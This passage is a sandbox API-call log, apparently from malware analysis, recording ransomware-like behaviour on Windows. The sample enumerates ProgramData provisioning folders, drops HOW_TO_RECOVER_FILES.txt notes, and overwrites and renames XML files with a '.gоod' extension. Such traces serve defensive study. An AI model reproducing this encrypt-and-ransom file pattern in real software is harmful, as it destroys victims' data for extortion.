lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0127.870] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.870] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f19b66, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f19b66, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0127.870] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f19b66, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f19b66, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x416, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0127.870] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0127.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfe0) returned 1 [0127.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecfa0) returned 1 [0127.871] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcecaf0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0127.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced010) returned 1 [0127.871] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0127.871] GetFileType (hFile=0x6e0) returned 0x1 [0127.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcecf80) returned 1 [0127.871] GetFileType (hFile=0x6e0) returned 0x1 [0127.872] WriteFile (in: hFile=0x6e0, lpBuffer=0x3690e38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fced0d8, lpOverlapped=0x0 | out: lpBuffer=0x3690e38*, lpNumberOfBytesWritten=0x1fced0d8*=0x5d0, lpOverlapped=0x0) returned 1 [0127.873] CloseHandle (hObject=0x6e0) returned 1 [0127.873] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0127.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0127.873] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0127.873] GetFileType (hFile=0x6e0) returned 0x1 [0127.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9b0) returned 1 [0127.873] GetFileType (hFile=0x6e0) returned 0x1 [0127.874] WriteFile (in: hFile=0x6e0, lpBuffer=0x3694730*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcedb08, lpOverlapped=0x0 | out: lpBuffer=0x3694730*, lpNumberOfBytesWritten=0x1fcedb08*=0x5d0, lpOverlapped=0x0) returned 1 [0127.875] CloseHandle (hObject=0x6e0) returned 1 [0127.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fcedf50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0127.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee470) returned 1 [0127.875] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0127.892] GetFileType (hFile=0x6e0) returned 0x1 [0127.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee3e0) returned 1 [0127.892] GetFileType (hFile=0x6e0) returned 0x1 [0127.963] WriteFile (in: hFile=0x6e0, lpBuffer=0x34c8620*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcee538, lpOverlapped=0x0 | out: lpBuffer=0x34c8620*, lpNumberOfBytesWritten=0x1fcee538*=0x5d0, lpOverlapped=0x0) returned 1 [0127.964] CloseHandle (hObject=0x6e0) returned 1 [0127.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0127.964] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}", lpFilePart=0x0) returned 0x4c [0127.965] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0127.966] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.966] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6a449, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6a449, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6a449, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0127.966] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0127.966] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0127.967] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0127.967] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0127.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0127.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0127.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee500) returned 1 [0127.967] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}", nBufferLength=0x105, lpBuffer=0x1fcedfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}", lpFilePart=0x0) returned 0x4c [0127.967] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\*", lpFindFileData=0x1fcee220 | out: lpFindFileData=0x1fcee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0127.967] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.967] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6a449, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6a449, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6a449, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0127.967] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0127.968] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0127.968] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0127.968] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0127.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee440) returned 1 [0127.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee400) returned 1 [0127.968] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0127.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0127.968] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x34d84a0 | out: lpFileInformation=0x34d84a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6a449, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6a449, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6a449, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8a8)) returned 1 [0127.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0127.968] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0127.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0127.969] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0127.969] GetFileType (hFile=0x6e0) returned 0x1 [0127.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0127.969] GetFileType (hFile=0x6e0) returned 0x1 [0127.969] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x8a8 [0127.969] ReadFile (in: hFile=0x6e0, lpBuffer=0x34d9060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x34d9060*, lpNumberOfBytesRead=0x1fcee238*=0x8a8, lpOverlapped=0x0) returned 1 [0127.970] CloseHandle (hObject=0x6e0) returned 1 [0128.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0128.614] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0128.615] GetFileType (hFile=0x6e0) returned 0x1 [0128.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0128.615] GetFileType (hFile=0x6e0) returned 0x1 [0128.615] WriteFile (in: hFile=0x6e0, lpBuffer=0x35e22e8*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x35e22e8*, lpNumberOfBytesWritten=0x1fcee148*=0x8b0, lpOverlapped=0x0) returned 1 [0128.616] CloseHandle (hObject=0x6e0) returned 1 [0128.616] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0128.616] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.gоod", lpFilePart=0x0) returned 0x64 [0128.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0128.617] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6a449, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6a449, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x48e03e17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8b0)) returned 1 [0128.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0128.617] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\customizations.xml.gоod")) returned 1 [0128.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0128.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0128.618] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x35e3618 | out: lpFileInformation=0x35e3618*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0128.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0128.618] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0128.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0128.618] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0128.618] GetFileType (hFile=0x6e0) returned 0x1 [0128.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0128.618] GetFileType (hFile=0x6e0) returned 0x1 [0128.618] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0128.618] ReadFile (in: hFile=0x6e0, lpBuffer=0x35e3a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35e3a50*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0128.619] CloseHandle (hObject=0x6e0) returned 1 [0129.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0129.012] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0129.013] GetFileType (hFile=0x6e0) returned 0x1 [0129.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0129.013] GetFileType (hFile=0x6e0) returned 0x1 [0129.013] WriteFile (in: hFile=0x6e0, lpBuffer=0x37fca60*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37fca60*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0129.014] CloseHandle (hObject=0x6e0) returned 1 [0129.014] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0129.014] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0129.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0129.014] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\masterdatastore.xml"), fInfoLevelId=0x0, 